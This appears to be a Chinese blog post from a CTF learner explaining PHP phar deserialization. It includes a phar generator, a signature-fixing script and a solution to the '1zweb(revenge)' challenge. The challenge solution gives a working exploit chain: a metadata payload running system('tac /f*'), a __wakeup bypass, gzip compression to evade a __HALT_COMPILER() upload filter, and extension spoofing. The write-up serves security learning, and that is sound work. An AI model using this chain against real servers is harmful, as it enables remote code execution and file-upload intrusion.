【phar反序列化学习】

没接触过phar反序列化,学一下。

理论

Phar相关基础

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data,扩展了反序列化漏洞的攻击面,配合phar://协议使用。

Phar文件结构

1.a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>。可理解为phar文件头。

2.manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data。

3.contents是被压缩的内容。

4.signature签名,放在文件末尾。

在这里插入图片描述签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密。
这个是某大佬的更换签名脚本。

from hashlib import sha1
with open('test.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
    file.write(newf) # 写入新文件
    #当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名

Phar反序列化

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下。
在这里插入图片描述
利用条件
1.:phar文件能上传至服务器。
2.存在受影响函数,存在可以利用的魔术方法。
3.phar和:和/没被过滤。
4.自己电脑能生成phar文件。要把php.ini的phar.readonly选项改成Off,并把前面的分号注释符删掉(这个坑我很久才发现)。
生成phar文件的模板:

<?php 
class test{
    public $name="qwq";
    function __destruct()
    {
        echo $this->name;
    }
}
$a = new test();
$a->name="phpinfo();";
$phartest=new phar('phartest.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("test.txt","test");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

实践

本地

<?php
class test{
    public $name="";
    public function __destruct()
    {
        eval($this->name);
    }
}
$ohbebe = file_get_contents($_POST['file']);
echo $ohbebe;

用这个先生成phar文件

<?php 
class test{
    public $name="qwq";
    function __destruct()
    {
        echo $this->name;
    }
}
$a = new test();
$a->name="phpinfo();";
$phartest=new phar('phartest.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("test.txt","test");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

然后传file=phar://phartest.phar/test.txt
在这里插入图片描述
执行成功。

ctf题目

[NSSRound#4 SWPU]1zweb(revenge)
进去有个查询文件的接口。输入index.php然后查看页面源码。如下

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    if (preg_match("/flag/", $file)) {
    	die("nonono");
    }
    echo file_get_contents($file);
}

我们看到那个类里面有eval函数。同时存在file_get_contents这个可以用phar反序列化攻击的函数。所以看看能不能传phar文件。


<?php

class LoveNss{
    public $ljt='Misc';
    public $dky='Re';
    public $cmd;
}
$o = new LoveNss();
    $o->ljt='Misc';
    $o->dky='Re';
    $o -> cmd= "system('tac /f*')";
    //@unlink("zhiyin.phar");
    $phar = new Phar("zhiyin.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test123.txt", "test123"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();

?>

运行生成phar文件,传发现phar后缀被过了,改jpg。

牛逼还是不得。
这里说说phar伪协议:
这个就是php解压缩的一个函数,不管后缀是什么,都会当做压缩包来解压。phar://伪协议解析phar文件时都会使meta-data反序列化
将生成的phar文件打包成zip

import zipfile

def zip_file(source_file, zip_file):
    with zipfile.ZipFile(zip_file, 'w', zipfile.ZIP_DEFLATED) as zipf:
        zipf.write(source_file)

source_file = 'zhiyin.phar'
zip_file_name = 'c.zip'

zip_file(source_file, zip_file_name)
print(f'{source_file} 已成功压缩成 {zip_file_name}')

在页面上传文件接口上传这个zip但是要抓包后缀改成jpg,因为zip也被过了。然后上传成功。
在这里插入图片描述
查询的那里输入phar://hhh.jpg/zhiyin.phar看看,页面返回phar文件内容,本来以为再查询
phar://upload/hhh.jpg/zhiyin.phar/test123.txt就会触发反序列化,但是居然报错。我感觉是phar只能解压一次,之前本地操作phar://phartest.phar/test.txt算解压一次了。phar://upload/hhh.jpg/zhiyin.phar/test123.txt相当解压两次,于是无效。
然后又试试看写个php🐎压缩成zip,改后缀jpg上传,然后读phar://s.zip/s.php,确实读出来了但是没执行里面内容。
这下怎么整呢?之前直接传jpg后缀的phar文件被过滤,肯定是检查了文件内容。上网搜发现有一种过滤是检查__HALT_COMPILER()是否在文件里面。
md忘记读upload.php了,读读看看

<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

真是这种过滤。
但是phar文件肯定要有这串东西啊。网上搜了一下好像都是在前面加GIF或GIF89a这个字符串绕过。但是后来发现这好像不是关键而且没啥用。

$phar->setStub('GIF'."<?php __HALT_COMPILER(); ?>"); //将之前的脚本那行改成这样就得了???

然后发现还得绕过__wakeup()这个魔术方法。所以phar文件里面要把类属性个数改了
�^O:7:“LoveNss”:3:{s:3:“ljt”;s:4:“Misc”;s:3:“dky”;s:2:“Re”;s:3:“cmd”;s:18:“system(‘tac /f*’);”;}test.txt�f��?}�tes���z�&/�%u�}������GBMB改成
�^O:7:“LoveNss”:4:{s:3:“ljt”;s:4:“Misc”;s:3:“dky”;s:2:“Re”;s:3:“cmd”;s:18:“system(‘tac /f*’);”;}test.txt�f��?}�tes���z�&/�%u�}������GBMB
之前的脚本改一下,如下:

from hashlib import sha1
import gzip
with open('zhiyin.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
s=s.replace(b':3:{s',b':4:{s')
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
newf = gzip.compress(newf)
with open('newtest.jpg', 'wb') as file:
    file.write(newf) # 写入新文件
    #当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名

上传返回:
上传成功 ./upload/newtest.jpg
查询:
phar://upload/newtest.jpg
得到flag
刚刚之所以绕过__HALT_COMPILER()的检查关键在于python把phar文件进行了gz压缩。
本题总结:读到源码发现漏洞函数并–>找poc链–>生成phar文件–>改属性个数–>改签名+gz压缩–>改后缀上传–>phar伪协议读取上传的文件–>触发反序列化并执行命令。

gz压缩网上还搜到一个方法:
1.kali上先安装xxd命令apt install xxd
2.gzip zhiyin.phar将phar文件压缩成gz文件。
3.xxd zhiyin.phar.gz
打开查看该gz文件,可以发现__HALT_COMPILER()不见了,但是这题因为要改phar文件内容所以得写脚本改,顺便就用脚本压缩了。
在这里插入图片描述
参考:https://www.freebuf.com/articles/web/291992.html
https://blog.csdn.net/qq_62046696/article/details/127195593
https://blog.csdn.net/abc18964814133/article/details/124664538

  • 18
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值